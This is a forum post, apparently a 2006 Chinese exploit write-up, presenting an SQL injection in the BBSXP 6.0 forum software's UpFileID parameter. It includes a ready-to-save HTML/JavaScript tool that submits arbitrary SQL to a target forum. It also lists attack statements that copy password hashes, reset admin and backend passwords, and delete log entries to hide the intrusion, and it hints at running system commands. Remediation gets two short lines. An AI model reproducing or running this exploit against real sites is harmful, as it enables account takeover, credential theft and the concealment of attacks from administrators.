服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 6404|回复: 1

狙击 bbsxp 6.0 全版本

[复制链接]
dirtysea 发表于 2006-3-20 22:39:10 | 显示全部楼层 |阅读模式
 

主题:狙击 bbsxp 6.0 全版本

应用对象:BBSXP 6.0 SQL SP1  作者 怪狗 

现在我比较忙,闲的时候呢!看看书,发现bbsxp 6.0漏洞,感觉不错.写篇文章给新手参考!希望能从中学到东西.


首先,这个漏洞是一个注入点.说说漏洞是如何发现的.
漏洞发现:

    打开源文件找到EditPost.asp的第67-72行,NewTopice.asp的第129-134行,ReTopic.asp的第78-83行会发现以下代码:


   if Request.Form("UpFlieID")<>"" then
              UpFileID=split(Request.form("UpFileID"),",")
              for i=0 to ubound(UpFileID)-1
                   Conn.execute("update [BBSXP_PostAttachments]
   set ThreadID="& ThreadID&",Description='"&Subject&"' where
   id ="&UpFileID(i)& " and ThreadID =0")
                             next
     end if



其实这几行代码很简单,为了新手能看明白,我罗列了一些相关知识点:
split函数的使用:
For Example:
  <%
   public namearray
    qname="Wang;Zhang;Ning"
   response.write qname & "<p><br>"
      namearray=split(qname,";") \'把qname字符串以分号分开,然后赋给一个数组
      max=ubound(namearray)
      for counter=0 to max-1
      response.write namearray(counter) & "<p><br>"
      next
      response.write "<hr>"
  ?%>



ubound 函数的使用:
返回一个 Long 型数据,其值为指定的数组维可用的最大下标。


语法
UBound(arrayname[, dimension])
UBound 函数的语法包含下面部分:
部分 描述
arrayname 必需的。数组变量的名称,遵循标准变量命名约定。
dimension 可选的;Variant (Long)。指定返回哪一维的上界。1 表示第一维,2 表示第二维,如此等等。如果省略 dimension,就认为是 1




示例
该示例使用 UBound 函数,确定数组的指定维的最大可用下标。


Dim Upper
Dim MyArray(1 To 10, 5 To 15, 10 To 20)   '声明数组变量。
Dim AnyArray(10)
Upper = UBound(MyArray, 1)   '返回 10。
Upper = UBound(MyArray, 3)   '返回 20。
Upper = UBound(AnyArray)   '返回 10



    我们可以看到在这段代码中没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中了。我们以EditPost.asp这个页面为例来说明


。这个页面的功能是编辑帖子的。我们可以随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一个脚本:
  
    <form name ="dirtysera.com''form method ="post" onSubmit = "returnCheckForm(this);">
    <input name ="content" type ="hidden" value ='123&It;imgborder=0 src=UpFile/UpAttachment/20063125678.gif>'>
    <input name="UpFileID" type="hidden">
    其中UpFileID是用来记录这个帖子中已经上传的文件路径的消息,并且用逗号分隔。


漏洞的利用:
     从代码上看,已经明白了由于upfileid 没有过滤,所以才有这个漏洞.UPfileID 是可以编辑贴子的时候.我们可以修改这个变量.
从一般的注入漏洞的发现,基本步骤都,
一,发现没过滤的变量.
二,寻找变量的修改方法.
如果有一个变量没有过滤,但是我们不能修改他,这就不能称为注入点.


下面我们来寻找变量的修改方法!


    在ASP代码中有一句话 for i =0 to ubound(UpFilID)-1,如果直接在页面中把UpFileID的值修改成一个注入查询语句
<inputname="UpFileID" type="hidden" value="' updateBBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'-->,
这样是不会被执行的,


因为这样的话ubound(UpFleID)-1的值始终为0,而不会被循环。


所以要使数组UpFileID的元素个数大于一才可以,
因此要将这段脚本修改成类似于如下代码:


<input name="UpFileID" type="hidden" value="'update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'--,0">,


我们用 , 号来分隔一下.就能满足for 循环.


攻击过程.
一,注册一个用户.登陆,注意:保存cookies

二,发一个贴子,



三,点编辑,记录几个值,ThreadID,PostID 这两个值.
ThreadID=5   PostID=5




如果返回上图,就是修改成功了.
现在就可以成功执行查询语句:
update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'了,提交编辑完帖子之后查看dirtysea.com的个人资料发现Email已经



变成了16位的md5密文。这样只要有足够的权限我们就可以执行任意SQL语句了。


四,用工具来改.


admin密码改成我们的密码 123456
我们用admin 密码 123456 不就可以登陆了吗?
admin密码备份email里面





总结:
我们上面的攻击过程主要是针对bbsxp sql sp1 版,因为sql版所以能执行那些查询.
漏洞发现者说对access版也可以通用,不过我没有测试!

整个攻击过程我没有提到sql权限这个问题.我个人认为如果sql版用上面这些办法攻击,不是最明智的手法.
sql权限是SA  我们可以直接用这个点去运行系统命令,直接拿下服务器,
sql权限是dbo 我们可以想办法备份差异asp 到本地,
如何操作,我只提供了思路,篇幅有限不能一一举例.


漏洞修补方法:
1,我们给变量过滤一下,
2,去官方下载补丁


 


附,
工具源程序.
copy另存为 1.htm
____________________________________________________
<form name="yuziform" method="post">
<input name="content" type="hidden" value='123'>
<input name="UpFileID" type="hidden" value='0 and ThreadID=0 update bbsxp_users set usermail=userpass where


username='dirtysea1'--,0'>
<INPUT type="hidden" size=60 name=Subject value="123">
<table width="100%">
<tr>
<td>论坛地址</td>
<td colspan=6>
<table  width="100%">
<tr>
<td>
http://
</td>
<td width="100%"><Input type=text style="width:100%" name="siteUri" value="192.168.1.75">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width=80>ThreadID</td>
<td width=55><Input type=text style="width:50px" name="ThreadID" value="1"></td>
<td width=80>PostID</td>
<td width=55><Input type=text style="width:50px" name="PostID" value="1"></td>
<td>编辑帖子文件名</td>
<td><Input type=text style="width:100px" name="EditPostFileName" value="EditPost.asp"></td>
<td></td>
</tr>
<tr>
<td width=80>
执行的SQL
</td>
<td colspan=6>
<textarea style="width:100%;height=100" name="Sql">update bbsxp_users set usermail=userpass where


username='dirtysea'</textarea>
</td>
</tr>
<tr>
<td colspan=5 align="center">
<INPUT type=button value='确定' name=EditSubmit onclick="submitForm()">
</td>
</tr>
</table>
</FORM>
<script>
function submitForm()
{
 if(!checkData())
 {
  return;
 }
 var form=document.getElementById('yuziform');
 form.action=getActionUrl();
 document.getElementById('UpFileID').value=getUpFileID();
 form.submit();
}
//**********************************
// 获取提交的地址
//**********************************
function getActionUrl()
{
 var url="http://"+document.getElementById('siteUri').value;
 if(url.substr(url.length-1)=='/'||url.substr(url.length-1)=='\\')
 {
  url=url.substr(0,url.length-1);
 }
 var threadId=0;
 try
 {
  threadId=parseInt(document.getElementById('ThreadID').value);
 }
 catch(e)
 {
 }
 var postId=0;
 try
 {
  postId=parseInt(document.getElementById('PostID').value);
 }
 catch(e)
 {
 }
 url+="/"+document.getElementById('EditPostFileName').value+"?ThreadID="+threadId+"&PostID="+postId;
 return url;
}


function getUpFileID()
{
 var str="0 and ThreadID=0 ";
 str+=document.getElementById('Sql').value;
 str+="--,0";
 return str;
}


function checkData()
{
 var url=document.getElementById('siteUri').value;
 if(url=="")
 {
  alert('请填写论坛地址!');
  return false;
 }
 var threadId=document.getElementById('ThreadID').value;
 if(threadId=="")
 {
  alert('请填写ThreadID!');
  return false;
 }
 try
 {
  threadId=parseInt(threadId);
 }
 catch(e)
 {
  alert('ThreadID必须为数字!');
  return false;
 }
 var postId=document.getElementById('PostID').value;
 if(postId=="")
 {
  alert('请填写PostID!');
  return false;
 }
 try
 {
  postId=parseInt(postId);
 }
 catch(e)
 {
  alert('PostID必须为数字!');
  return false;
 }
 if(document.getElementById('Sql').value=="")
 {
  alert('请填写执行的SQL!');
  return false;
 }
 if(document.getElementById('EditPostFileName').value=="")
 {
  alert('请填写编辑帖子文件名!');
  return false;
 }
 if(document.getElementById('Sql').value.indexOf(',')>=0)
 {
  alert('执行的SQL中不能包含逗号!');
  return false;
 }
 return true;
}
</script>
__________________________________________________________________
攻击语句:
--------------------------------------------
在EditPost.asp和NewTopic.asp, ReTopic.asp中都存在这个漏洞
--备份dirtysea.com的密码到电子邮件中
update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'
--备份后台管理密码到dirtysea.com的个人主页中
update BBSXP_Users set UserHome=(select top 1 AdminPassword from BBSXP_SiteSettings) where UserName='dirtysea.com'
--修改admin的前台密码为dirtysea
update BBSXP_Users set UserPass='59A9B22627515262CF6D95E8F968A608' where UserName='dirtysea'
--修改后台管理密码为dirtysea
update BBSXP_SiteSettings set AdminPassword='59A9B22627515262CF6D95E8F968A608'
delete from BBSXP_Log where UserName='dirtysea' and cast(DateCreated as nvarchar(10))=cast(getdate() as nvarchar(10))
--恢复后台管理密码
update BBSXP_SiteSettings set AdminPassword=(select UserHome from BBSXP_Users where UserName='dirtysea')
--恢复dirtysea.com的密码
update BBSXP_Users set UserPass=UserMail where UserName='dirtysea.com'
--清除dirtysea.com的电子邮件和个人主页数据
update BBSXP_Users set UserMail='' where UserName='dirtysea.com'
update BBSXP_Users set UserHome='' where UserName='dirtysea.com'

zrg1130 发表于 2006-2-2 09:24:56 | 显示全部楼层

re:狙击 bbsxp 6.0 全版本

这是什么呀

是马吗???

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-5-2 22:09 , Processed in 0.130374 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表